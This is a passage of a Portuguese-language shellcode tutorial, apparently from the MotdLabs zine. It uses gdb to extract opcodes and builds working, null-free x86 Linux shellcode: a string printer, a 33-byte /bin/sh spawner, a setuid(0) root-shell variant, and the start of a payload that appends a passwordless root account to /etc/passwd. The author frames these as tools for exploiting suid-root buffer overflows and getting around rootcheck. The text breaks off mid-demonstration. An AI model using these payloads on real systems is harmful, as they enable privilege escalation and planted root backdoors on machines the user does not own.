: push %ebp 0x8048315 : mov %esp,%ebp 0x8048317 : sub $0x8,%esp 0x804831a : and $0xfffffff0,%esp 0x804831d : mov $0x0,%eax 0x8048322 : sub %eax,%esp 0x8048324 : mov $0x1,%ebx 0x8048329 : push $0xa 0x804832b : push $0x7362614c 0x8048330 : push $0x44544f4d 0x8048335 : mov %esp,%ecx 0x8048337 : mov $0xa,%edx 0x804833c : mov $0x4,%eax 0x8048341 : int $0x80 0x8048343 : mov $0x0,%ebx 0x8048348 : mov $0x1,%eax 0x804834d : int $0x80 0x804834f : leave 0x8048350 : ret 0x8048351 : nop 0x8048352 : nop 0x8048353 : nop 0x8048354 : nop 0x8048355 : nop 0x8048356 : nop 0x8048357 : nop 0x8048358 : nop 0x8048359 : nop 0x804835a : nop 0x804835b : nop 0x804835c : nop 0x804835d : nop 0x804835e : nop 0x804835f : nop End of assembler dump. (gdb) Hehehe, adoro isso! :) Pra quem sabe um pouco de assembly, sabe que o começo é o prelúdio, prólogo ou processo incial, ele também reserva um espaço no stack e alinha a memória. Eles serão úteis quando falarmos sobre buffer overflows numa outra oportunidade não distante. :P Maiores informações, vide os links no fim do arquivo sobre assembly. Lá vocês encontrarão as respostas para suas perguntas! Voltando... Repare que nosso código começa somente em e a última instrução começa em . Então devemos pegar todos os opcodes em hexadecimal a partir de até . Mas não seria até ??? Sim, mas repare que a instrução "começa" em e prossegue até , ou seja, 1 antes da próxima instrução que no caso seria . Voltando a caça dos opcodes... O comando que usaremos é o x/xb, que irá nos retornar o código em hexa.: (gdb) x/xb main+16 0x8048324 : 0xbb (gdb) 0x8048325 : 0x01 (gdb) 0x8048326 : 0x00 (gdb) 0x8048327 : 0x00 (gdb) 0x8048328 : 0x00 (gdb) ... ... ... 0x804834a : 0x00 (gdb) 0x804834b : 0x00 (gdb) 0x804834c : 0x00 (gdb) 0x804834d : 0xcd (gdb) 0x804834e : 0x80 (gdb) Dica: Depois do x/xb main+16, aperte e segure a tecla ENTER, você verá que o processo será bem mais rápido. :) Ok, temos os códigos em hexadecimal e agora? Agora nós iremos montá-lo para poder ser executado.: <++> shellcode/hexawrite.c /* * Shellcode pronto em hexadecimal. * Imprime a string "MOTDLabs" na tela. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexawrite hexawrite.c */ #include char shellcode[] = "\xbb\x01\x00\x00\x00" /* mov $0x1, %ebx */ "\x6a\x0a" /* push $0x0A */ "\x68\x4c\x61\x62\x73" /* push $0x7362614C */ "\x68\x4d\x4f\x54\x44" /* push $0x44544F4D */ "\x89\xe1" /* mov %esp, %ecx */ "\xba\x0a\x00\x00\x00" /* mov $0xa, %edx */ "\xb8\x04\x00\x00\x00" /* mov $0x4, %eax */ "\xcd\x80" /* int $0x80 */ "\xbb\x00\x00\x00\x00" /* mov $0x0, %ebx */ "\xb8\x01\x00\x00\x00" /* mov $0x1, %eax */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", sizeof(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexawrite.c Pronto! Está pronto nosso shellcode.Vamos executá-lo! :D root@motdlabs:~/IP_FIX/shellcode# gcc -o hexawrite hexawrite.c hexawrite.c: In function `main': hexawrite.c:33: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexawrite Tamanho do Shellcode: 44 bytes. MOTDLabs root@motdlabs:~/IP_FIX/shellcode# Pronto! Um simples shellcode que imprime uma string na tela com o tamanho de 44; (43+'\0'). Mostrar o tamanho é útil pra saber se caberá em um buffer numa situação de buffer overflow. O correto seria ter usado a função strlen() para calcular o tamanho do shellcode, mas, nesse caso, ele só contará até 2, pois ele encerrará a contagem no primeiro null byte que encontrar(\x00), por isso o uso da função sizeof(). Viram como é simples fazer um shellcode? Não é nenhuma coisa de outro mundo, basta ter um mínimo de conhecimento, força de vontade e um pouco de malícia ajuda também. :) Mas como tudo na vida geralmente não é tão simples assim, vocês irão se deparar com um pequeno problema caso tentem usar esse shellcode para explorar um buffer overflow. O problema se encontra nos "\x00" que fazem parte de nosso shellcode, pois quando jogarmos o shellcode dentro do buffer e apontarmos o endereço de retorno para o shellcode, ele será executado normalmente até encontrar um NULL byte (0x00), e a execução do mesmo será interrompida como se o código tivesse sido finalizado, e isso não é nada legal!!! Provavelmente você verá uma mensagem como "Segmentation Fault" ou "Illegal Instruction". Calma companheiro! No mundo da informática sempre tem um segundo caminho, pode ser mais fácil ou difícil, mas tudo tem uma segunda saída. Como iremos resolver então? É até simples a resposta, muito simples, vamos olhar denovo o código asmwrite.c. Repare que manuseiamos muitos 0x0 (push $0x0, por exemplo), mas não é somente isso o problema, repare também que usamos os registradores de 32 bits (eax), que possuem uma parte alta (ah) e a baixa (al). Quando fazemos um mov $0x4, %eax, por exemplo, não usamos todo o espaço que o registrador oferece, o que resulta em NULL byte já que sobra muito espaço. __asm__( "mov $0x1, %ebx \n" "push $0x0A \n" "push $0x7362614C \n" "push $0x44544F4D \n" "mov %esp, %ecx \n" "mov $0xa, %edx \n" "mov $0x4, %eax \n" "int $0x80 \n" "mov $0x0, %ebx \n" "mov $0x1, %eax \n" "int $0x80 \n" ); Uma solução efetiva para isso, é simplesmente ao invés de jogarmos os 0x0 direto na pilha (push $0x0) ou movermos 0x0 para um registrador (mov $0x0, %ebx) nós podemos zerar o próprio registrador com xor (xor %eax, %eax) e jogar para a pilha (push %eax) assim não terá a necessidade de manusearmos os 0x0. A outra solução, é também usarmos a parte baixa dos registradores (mov $0xb, %dl), que faz com que não seje desperdiçado espaço já que estamos usando apenas uma parte dele. A modificação é simples, e ficará da seguinte forma: <++> shellcode/asmwrite2.c /* * Protótipo de um shellcode em ASM. * Imprime a string "MOTDLabs" na tela. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmwrite2 asmwrite2.c */ #include main() { __asm__( "xor %eax, %eax \n" /* Sem isso nosso código em hexa não roda. :/ */ "xor %ebx, %ebx \n" /* Precisamos zerar %ebx, para jogarmos o $0x1. */ "mov $0x1, %bl \n" /* STDOUT da função write(). */ "push $0x0A \n" /* Aqui temos... (\n) */ "push $0x7362614C \n" /* ...nossa string... (sbaL) */ "push $0x44544F4D \n" /* ...ao contrário. (DTOM) */ "mov %esp, %ecx \n" /* Jogamos nossa string para o contador. Como é muito grande, não usaremos %cl. */ "xor %edx, %edx \n" /* Precisamos zerar %edx, senão terá uma saída suja (imprimirá mais do esperado). */ "mov $0xa, %dl \n" /* Aqui está o tamanho da string: 0xa=10. Jogamos para o registradador de dados. */ "mov $0x4, %al \n" /* Nossa querida system call de write(). */ "int $0x80 \n" /* A melhor hora! Cai pro modo kernel e executa tudo acima! */ "xor %eax, %eax \n" /* Sem isso nosso código em hexa não roda. :/ */ "xor %ebx, %ebx \n" /* Como zeramos %ebx, não será necessário o mov $0x0, %ebx. */ "mov $0x1, %al \n" /* Outra querida system call, da função exit() dessa vez. */ "int $0x80 \n" /* Finalmente! Tudo é executado! */ ); } <--> shellcode/asmwrite2.c Terminado! Captaram as alterações? Como perceberam, foram poucas. Uns xor's aqui, uns %al alí e pronto! Será que ele ficou realmente sem NULL's bytes? Vamos ver!!! :P Mas antes reparem que eu adicionei um "xor %eax, %eax" no início de cada função ao código pois sem eles não conseguiremos rodar nosso programa somente com os opcodes em hexadecimal. root@motdlabs:~/IP_FIX/shellcode# gcc -o asmwrite2 asmwrite2.c root@motdlabs:~/IP_FIX/shellcode# ./asmwrite2 MOTDLabs root@motdlabs:~/IP_FIX/shellcode# Compilamos e executamos sem problemas. Vamos debugar: root@motdlabs:~/IP_FIX/shellcode# gdb asmwrite2 GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048314

: push %ebp 0x8048315 : mov %esp,%ebp 0x8048317 : sub $0x8,%esp 0x804831a : and $0xfffffff0,%esp 0x804831d : mov $0x0,%eax 0x8048322 : sub %eax,%esp 0x8048324 : xor %eax,%eax 0x8048326 : xor %ebx,%ebx 0x8048328 : mov $0x1,%bl 0x804832a : push $0xa 0x804832c : push $0x7362614c 0x8048331 : push $0x44544f4d 0x8048336 : mov %esp,%ecx 0x8048338 : xor %edx,%edx 0x804833a : mov $0xa,%dl 0x804833c : mov $0x4,%al 0x804833e : int $0x80 0x8048340 : xor %eax,%eax 0x8048342 : xor %ebx,%ebx 0x8048344 : mov $0x1,%al 0x8048346 : int $0x80 0x8048348 : leave 0x8048349 : ret 0x804834a : nop 0x804834b : nop 0x804834c : nop 0x804834d : nop 0x804834e : nop 0x804834f : nop End of assembler dump. (gdb) Repare que agora o código começa em , como antes, mas agora termina em . A retirada dos null's bytes fez o programa fica menor ainda. Vamos capturar os opcodes novamente.: (gdb) x/xb main+16 0x8048324 : 0x31 (gdb) 0x8048325 : 0xc0 (gdb) 0x8048326 : 0x31 (gdb) 0x8048327 : 0xdb (gdb) 0x8048328 : 0xb3 (gdb) ... ... ... 0x8048343 : 0xdb (gdb) 0x8048344 : 0xb0 (gdb) 0x8048345 : 0x01 (gdb) 0x8048346 : 0xcd (gdb) 0x8048347 : 0x80 (gdb) Agora iremos montá-lo denovo, somente com os códigos em hexadecimal.: <++> shellcode/hexawrite2.c /* * Shellcode pronto em hexadecimal. * Imprime a string "MOTDLabs" na tela. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexawrite2 hexawrite2.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb3\x01" /* mov $0x1, %bl */ "\x6a\x0a" /* push $0x0A */ "\x68\x4c\x61\x62\x73" /* push $0x7362614C */ "\x68\x4d\x4f\x54\x44" /* push $0x44544F4D */ "\x89\xe1" /* mov %esp, %ecx */ "\x31\xd2" /* xor %edx, %edx */ "\xb2\x0a" /* mov $0xa, %dl */ "\xb0\x04" /* mov $0x4, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x01" /* mov $0x1, %al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexawrite2.c root@motdlabs:~/IP_FIX/shellcode# gcc -o hexawrite2 hexawrite2.c hexawrite2.c: In function `main': hexawrite2.c:36: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexawrite2 Tamanho do Shellcode: 36 bytes. MOTDLabs root@motdlabs:~/IP_FIX/shellcode# w00w00!!! Código bem menor, mais elegante e continua funcional!!! A retirada dos 0x00 fizeram uma grande diferença em nosso código. Perceberam só como não tem muito segredo escrever um shellcode, é tudo questão de raciocínio e assembly! :P Para escrevermos na tela foram empurrados letras em hexadecimal para o stack. Aqui está a tabela ascii para você acompanhar esse artigo com mais clareza.: root@motdlabs:~/IP_FIX/shellcode# man ascii Oct Dec Hex Char Oct Dec Hex Char ------------------------------------------------------------ 000 0 00 NUL '\0' 100 64 40 @ 001 1 01 SOH 101 65 41 A 002 2 02 STX 102 66 42 B 003 3 03 ETX 103 67 43 C 004 4 04 EOT 104 68 44 D 005 5 05 ENQ 105 69 45 E 006 6 06 ACK 106 70 46 F 007 7 07 BEL '\a' 107 71 47 G 010 8 08 BS '\b' 110 72 48 H 011 9 09 HT '\t' 111 73 49 I 012 10 0A LF '\n' 112 74 4A J 013 11 0B VT '\v' 113 75 4B K 014 12 0C FF '\f' 114 76 4C L 015 13 0D CR '\r' 115 77 4D M 016 14 0E SO 116 78 4E N 017 15 0F SI 117 79 4F O 020 16 10 DLE 120 80 50 P 021 17 11 DC1 121 81 51 Q 022 18 12 DC2 122 82 52 R 023 19 13 DC3 123 83 53 S 024 20 14 DC4 124 84 54 T 025 21 15 NAK 125 85 55 U 026 22 16 SYN 126 86 56 V 027 23 17 ETB 127 87 57 W 030 24 18 CAN 130 88 58 X 031 25 19 EM 131 89 59 Y 032 26 1A SUB 132 90 5A Z 033 27 1B ESC 133 91 5B [ 034 28 1C FS 134 92 5C \ '\\' 035 29 1D GS 135 93 5D ] 036 30 1E RS 136 94 5E ^ 037 31 1F US 137 95 5F _ 040 32 20 SPACE 140 96 60 ` 041 33 21 ! 141 97 61 a 042 34 22 " 142 98 62 b 043 35 23 # 143 99 63 c 044 36 24 $ 144 100 64 d 045 37 25 % 145 101 65 e 046 38 26 & 146 102 66 f 047 39 27 ' 147 103 67 g 050 40 28 ( 150 104 68 h 051 41 29 ) 151 105 69 i 052 42 2A * 152 106 6A j 053 43 2B + 153 107 6B k 054 44 2C , 154 108 6C l 055 45 2D - 155 109 6D m 056 46 2E . 156 110 6E n 057 47 2F / 157 111 6F o 060 48 30 0 160 112 70 p 061 49 31 1 161 113 71 q 062 50 32 2 162 114 72 r 063 51 33 3 163 115 73 s 064 52 34 4 164 116 74 t 065 53 35 5 165 117 75 u 066 54 36 6 166 118 76 v 067 55 37 7 167 119 77 w 070 56 38 8 170 120 78 x 071 57 39 9 171 121 79 y 072 58 3A : 172 122 7A z 073 59 3B ; 173 123 7B { 074 60 3C < 174 124 7C | 075 61 3D = 175 125 7D } 076 62 3E > 176 126 7E ~ 077 63 3F ? 177 127 7F DEL Sempre que precisar consulte ela pelo terminal. O cwrite foi só um exemplo básico para se pegar a idéia essencial de como se constrói um shellcode. Com essa base, podemos nos aprofundar um pouco mais e escrever algo mais divertido. :) Agora vamos escrever um shellcode que irá nos dar uma shell. Sim amigos, o famoso "/bin/sh"!!! Todo tutorial de shellcode que se preze mostra como fazê-lo... :P A coisa se complicará um pouco comparando com o primeiro, mas vamos escrever da forma mais simples possível e passo-a-passo, com isso espero ampliar sua mente e tirar sua dúvida, jovem fuçador. :) Chega de papo e vamos lá!!! =) Como de costume, vamos escrever primeiramente o protótipo em C. <++> shellcode/csh.c /* * Protótipo de shellcode em C. * Abre uma shell /bin/sh. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o csh csh.c */ #include main() { char *string[2]; string[0]= "/bin/sh"; string[1]= '\0'; execve(string[0], string, '\0'); exit(0); } <--> shellcode/csh.c Vamos compilá-lo e executá-lo.: root@motdlabs:~/IP_FIX/shellcode# gcc -o csh csh.c root@motdlabs:~/IP_FIX/shellcode# ./csh sh-2.05b# Funciona perfeitamente. Mas agora precisamos entender como funciona a função execve().: root@motdlabs:~/IP_FIX/shellcode# man execve int execve(const char *filename, char *const argv [], char *const envp[]); Bem, se seguirmos a analogia do que a man page nos diz, veremos que temos que criar um ponteiro com vetor para o que queremos executar (char *filename), e um outro ponteiro para o argumento que será passado (char *const argv []). Ou seja, temos que ter nossa string (string[0]), no primeiro argumento, seguido por um byte nulo (string[1]) no segundo argumento, pra indicar o fim da string. Como não usaremos nenhuma variável ambiente, colocamos um null byte no último argumento. Repare que não podemos fazer da seguinte forma: execve("/bin/sh",'\0','\0"), pois se tem a necessidade de passar os bytes nulos através do ponteiro com vetor. A man page explica isso direitinho. :) Agora vamos voltar ao trabalho. Agora que sabemos a forma de executar o que queremos, temos que transpor isso para assembly. Vamos usar nossa tabelinha para ver como devemos manuesar a função execve() em baixo-nível.: _________________________________________________________________________________________________ |%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi | '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''-''''''''''''' | 11 | sys_exeve | arch/i386/kernel/process.c | char *filename | *argv[] | *envp[] | | | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Ok! Temos as informações necessárias, vamos tentar montá-lo agora em ASM.: <++> shellcode/asmsh.c /* * Protótipo de shellcode em ASM. * Abre uma shell /bin/sh. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmsh asmsh.c */ #include main() { __asm__ ( "xor %eax, %eax \n" /* Zeramos %eax. */ "push %eax \n" /* Byte nulo da string /bin/sh para encerrá-la. (char *filename,... */ "push $0x68732F2F \n" /* Foi colocado duas barras (//) para não ficar com null byte. */ "push $0x6E69622F \n" /* /bin//sh */ "mov %esp, %ebx \n" /* Agora que temos tudo no stack, movemos para %ebx: (char *filename,... */ "push %eax \n" /* NULL byte que finaliza a string /bin/sh no ...char *const argv[],... */ "push %ebx \n" /* Devolve o valor antigo do stack pro novo stack. */ "mov %esp, %ecx \n" /* Com a string novamente no stack, vai para %ecx: ...char *const argv[],... */ "xor %edx, %edx \n" /* Zeramos %edx para deixar um null byte. %edx: ...char *const envp[]); */ "mov $0xb, %al \n" /* System Call da função execve(), 0xb = 11. */ "int $0x80 \n" /* Ação! :) */ "xor %eax, %eax \n" /* %eax == 0 */ "xor %ebx, %ebx \n" /* %ebx == 0 == EXIT_SUCCESS */ "mov $0x1, %al \n" /* sys_call de exit() */ "int $0x80 \n" /* Play! :P */ ); } <--> shellcode/asmsh.c root@motdlabs:~/IP_FIX/shellcode# gcc -o asmsh asmsh.c root@motdlabs:~/IP_FIX/shellcode# ./asmsh sh-2.05b# w00w00!!! Nada de jmp, call, pop, inc, etc... apenas instruções simples que vimos no exemplo de write(). Mas não terminamos, temos que pegar os opcodes para montarmos ele em hexadecimal.: root@motdlabs:~/IP_FIX/shellcode# gdb asmsh GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048314

: push %ebp 0x8048315 : mov %esp,%ebp 0x8048317 : sub $0x8,%esp 0x804831a : and $0xfffffff0,%esp 0x804831d : mov $0x0,%eax 0x8048322 : sub %eax,%esp 0x8048324 : xor %eax,%eax 0x8048326 : push $0x68732f2f 0x804832b : push $0x6e69622f 0x8048330 : mov %esp,%ebx 0x8048332 : push %eax 0x8048333 : push %ebx 0x8048334 : mov %esp,%ecx 0x8048336 : xor %edx,%edx 0x8048338 : mov $0xb,%al 0x804833a : int $0x80 0x804833c : xor %eax,%eax 0x804833e : xor %ebx,%ebx 0x8048340 : mov $0x1,%al 0x8048342 : int $0x80 0x8048344 : leave 0x8048345 : ret 0x8048346 : nop 0x8048347 : nop 0x8048348 : nop 0x8048349 : nop 0x804834a : nop 0x804834b : nop 0x804834c : nop 0x804834d : nop 0x804834e : nop 0x804834f : nop End of assembler dump. (gdb) x/xb main+16 0x8048324 : 0x31 (gdb) 0x8048325 : 0xc0 (gdb) 0x8048326 : 0x50 (gdb) 0x8048327 : 0x68 (gdb) 0x8048328 : 0x2f (gdb) ... ... ... 0x8048340 : 0xdb (gdb) 0x8048341 : 0xb0 (gdb) 0x8048342 : 0x01 (gdb) 0x8048343 : 0xcd (gdb) 0x8048344 : 0x80 (gdb) <++> shellcode/hexash.c /* * Protótipo de shellcode em ASM. * Abre uma shell /bin/sh. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexash hexash.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */ "\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */ "\x89\xe3" /* mov %esp, %ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp, %ecx */ "\x31\xd2" /* xor %edx, %edx */ "\xb0\x0b" /* mov $0xb, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x01" /* mov $0x1, %al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexash.c root@motdlabs:~/IP_FIX/shellcode# gcc -o hexash hexash.c hexash.c: In function `main': hexash.c:36: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexash Tamanho do Shellcode: 33 bytes. sh-2.05b# w00w00!!! Um shellcode /bin/sh de 33 bytes. Isso é incrível pra quem está acostumado com o tamanho do Aleph1 (45 bytes), mas não tem nenhuma técnica desconhecida. Que tal incrementarmos um pouquinho? É mais que óbvio que usaremos essa shell para conseguir acesso remoto através de alguma vulnerabilidade. E que tal assim que cairmos, termos permissões root (uid=0)??? Sim! Isso é possível, e é mais fácil do que você imagina. Vamos ver.: <++> shellcode/csetuid.c /* * Protótipo de shellcode em C. * Seta uid atual para 0. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o csetuid csetuid.c */ #include main() { setuid(0); } <--> shellcode/csetuid.c root@motdlabs:~/IP_FIX/shellcode# gcc -o csetuid csetuid.c root@motdlabs:~/IP_FIX/shellcode# ./csetuid root@motdlabs:~/IP_FIX/shellcode# Ok, agora vamos ver como funciona e criá-lo em ASM: root@motdlabs:~/IP_FIX/shellcode# man setuid int setuid(uid_t uid); uid: user identity; aqui vai o número que o user será identificado, lembrando que 0 é root, e acima disso é user normal ($). Sem problemas, agora vamos ver a system call table dele.: _____________________________________________________________________________________________ |%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' | 23 | sys_setuid | kernel/sys.c | uid_t | | | | | ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Bom, então é só movermos 23 pra %eax, 0 para %ebx e dar um int $0x80 que a mágica acontece! :D <++> shellcode/asmsetuid.c /* * Protótipo de shellcode em ASM. * Seta uid atual para 0. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o asmsetuid asmsetuid.c */ #include main() { __asm__( "xor %eax, %eax \n" /* %eax == 0 */ "xor %ebx, %ebx \n" /* uid == 0. */ "mov $0x17, %al \n" /* %al == 23. */ "int $0x80 \n" /* Modo Kernel. */ ); } <--> shellcode/asmsetuid.c Tão simples quanto exit(). Vamos compilar, testar, debugar e capturar seus opcodes em hexadecimal.: root@motdlabs:~/IP_FIX/shellcode# gcc -o asmsetuid asmsetuid.c root@motdlabs:~/IP_FIX/shellcode# ./asmsetuid root@motdlabs:~/IP_FIX/shellcode# gdb asmsetuid GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048314

: push %ebp 0x8048315 : mov %esp,%ebp 0x8048317 : sub $0x8,%esp 0x804831a : and $0xfffffff0,%esp 0x804831d : mov $0x0,%eax 0x8048322 : sub %eax,%esp 0x8048324 : xor %eax,%eax 0x8048326 : xor %ebx,%ebx 0x8048328 : mov $0x17,%al 0x804832a : int $0x80 0x804832c : leave 0x804832d : ret 0x804832e : nop 0x804832f : nop End of assembler dump. (gdb) x/xb main+16 0x8048324 : 0x31 (gdb) 0x8048325 : 0xc0 (gdb) 0x8048326 : 0x31 (gdb) 0x8048327 : 0xdb (gdb) 0x8048328 : 0xb0 (gdb) 0x8048329 : 0x17 (gdb) 0x804832a : 0xcd (gdb) 0x804832b : 0x80 (gdb) Montando...: <++> shellcode/hexasetuid.c /* * Shellcode pronto em hexadecimal. * Seta uid atual para 0. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexasetuid hexasetuid.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x17" /* mov $0x17, %al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/hexasetuid.c Compilando e executando... root@motdlabs:~/IP_FIX/shellcode# gcc -o hexasetuid hexasetuid.c hexasetuid.c: In function `main': hexasetuid.c:25: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexasetuid Tamanho do Shellcode: 8 bytes. Segmentation fault root@motdlabs:~/IP_FIX/shellcode# Pronto!!! Viram como é simples fazer um simples setuid(0)? Um detalhe galera, vocês devem ter notado que houve uma saída errada: "Segmentation fault". Não se alarmem, isso se deve ao fato de não termos colocado um exit(0). Em compiladores menores que o 3.3.1 não era necessário colocar o exit(0), pois sua saída seria sempre limpa, mas agora ele tem umas frescuras... Bom, nosso código não está errado e vocês verão que está certo mesmo. ;) Agora você deve estar se perguntado como você executará isso num futuro uso. É simples, somente temos que acoplar numa shell padrão como o nosso /bin/sh. Como? Basta aplicar o código sobre o anterior da seguinte maneira.: <++> shellcode/shsetuid.c /* * Shellcode pronto em hexadecimal. * Abre uma shell /bin/sh + setuid(0) + exit(0). * by IP_FIX . * MotdLabs . * Compilação: # gcc -o shsetuid shsetuid.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\xb0\x17" /* mov $0x17,%al */ "\xcd\x80" /* int $0x80 */ /* setuid(0); */ "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */ "\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */ "\x89\xe3" /* mov %esp, %ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp, %ecx */ "\x31\xd2" /* xor %edx, %edx */ "\xb0\x0b" /* mov $0xb, %al */ "\xcd\x80" /* int $0x80 */ /* /bin/sh; */ "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x01" /* mov $0x1, %al */ "\xcd\x80"; /* int $0x80 */ /* exit(0). */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode)); /* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } <--> shellcode/shsetuid.c Compilando e executando... root@motdlabs:~/IP_FIX/shellcode# gcc -o shsetuid shsetuid.c shsetuid.c: In function `main': shsetuid.c:41: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./shsetuid Tamanho do Shellcode: 41 bytes. sh-2.05b# w00w00!!! Um shellcode /bin/sh com setuid(0) + exit(0) por apenas 41 bytes!!! Repare que para criá-lo não foi preciso refazer todo o código novamente, apenas adicionamos um novo código ao velho, sem termos complicações. Muito útil para conseguirmos acesso root através de programas bugados que sejam suid root (chmod +s). Puxa vida, sabemos criar shellcodes que escreve na tela, abre shells e que ainda podemos conseguir previlégios root dependendo da situação, então o que nos impede de criarmos mais? Você terá que escrever diferentes shellcodes dependendo da situação, haverá certos casos que existirão programas que não permitirão a obtenção de shell através de ataques básicos como buffer overflow (stack) e teremos que ser criativos para burlamos. Enfim, cada caso é um caso! Nem sempre as coisas são o que parecem ser, então teremos que ter uma grande malícia para burlar determinados sistemas de proteção como o rootcheck, por exemplo, que ao obtermos uma root shell não autorizada, o próprio irá killar o processo em que estamos. Ohhh!!! Será o fim??? Claro que não!!! Programas desse gênero derruba quem obtém uma root shell atráves de shellcodes como o acima, mas não existe apenas uma maneira de conseguirmos acesso root, como conseguiremos então? Pense o seguinte: Sabemos escrever na tela, o que nos impede de escrevermos em arquivos? Sabendo disso, nada nos impede de adicionarmos um usuário com privilégios root no /etc/passwd da vítima!!! Devolta aos protótipos!!! :D <++> shellcode/cpasswd.c /* * Protótipo de shellcode em C. * Adiciona um usuário com premissões root. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o cpasswd cpasswd.c */ #include #include #include main() { /* Declaramos passwd como um inteiro. */ int passwd; /* Usamos open para abrir o arquivo; atenção nas flags!!! * O_RDWR: Read and Write/Leitura e Escrita. * O_APPEND: O ponteiro será apontado no fim do arquivo. */ /* passwd = open("/etc/passwd",O_RDWR|O_APPEND); */ passwd = open("/etc/passwd",1026); /* Após aberto, escrevemos nossa string no arquivo desejado. */ /* write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",strlen("\nip_fix::0:0::/root:/bin/sh\n")); */ write(passwd,"\nip_fix::0:0::/root:/bin/sh\n",30); /* Sai livremente. */ exit(0); } <--> shellcode/cpasswd.c Lembre-se: Se você tiver alguma dúvida sobre as funções, utilize as man pages, você aprenderá muito com elas, te garanto! Pronto. Agora chegou a melhor hora: Compilar e executar!!! :) Confira seu /etc/passwd primeiro. root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync 